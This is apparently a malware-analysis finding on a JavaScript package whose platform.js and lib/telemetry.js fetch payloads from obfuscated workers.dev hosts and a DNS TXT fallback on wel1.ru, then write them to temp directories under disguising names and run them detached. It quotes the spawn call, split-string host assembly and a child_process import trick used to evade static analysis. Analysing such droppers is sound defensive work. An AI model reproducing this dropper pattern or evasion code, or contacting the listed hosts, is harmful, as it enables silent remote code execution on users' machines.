index.js unconditionally requires./platform on load. platform.js selects a per-OS payload path, fetches bytes from one of three string-concatenation-obfuscated *.workers.dev hosts (oob-worker.cf101-adf.workers.dev, oob-worker.cf99-9b3.workers.dev, oob-worker.cf100-416.workers.dev), with a DNS TXT-record fallback channel that reassembles a base64 payload from chunked subdomain lookups against sdk.dl.wel1.ru / ext.dl.wel1.ru / pkg.dl.wel1.ru / net.dl.wel1.ru. The fetched bytes are written to /var/tmp or the Windows TEMP directory with disguising filenames (dotnet_diag<hex>.exe,.cache<hex>), chmod 0755'd, and executed detached via cp.spawn("/bin/sh", ["-c", fp + " &"], { detached: true }).unref() or the cmd.exe equivalent. Destination hosts are assembled from split string fragments (e.g. ["oob-worker.cf101-adf.w","orkers.de","v"].join("")) and child_process is likewise imported via require("child_" + "process") to evade static analysis. A parallel dropper implementation with the same fetch/chmod/spawn shape is bundled in lib/telemetry.js under a metrics.node cover story. No hash or signature verification of fetched bytes; payload host is not publisher-owned.
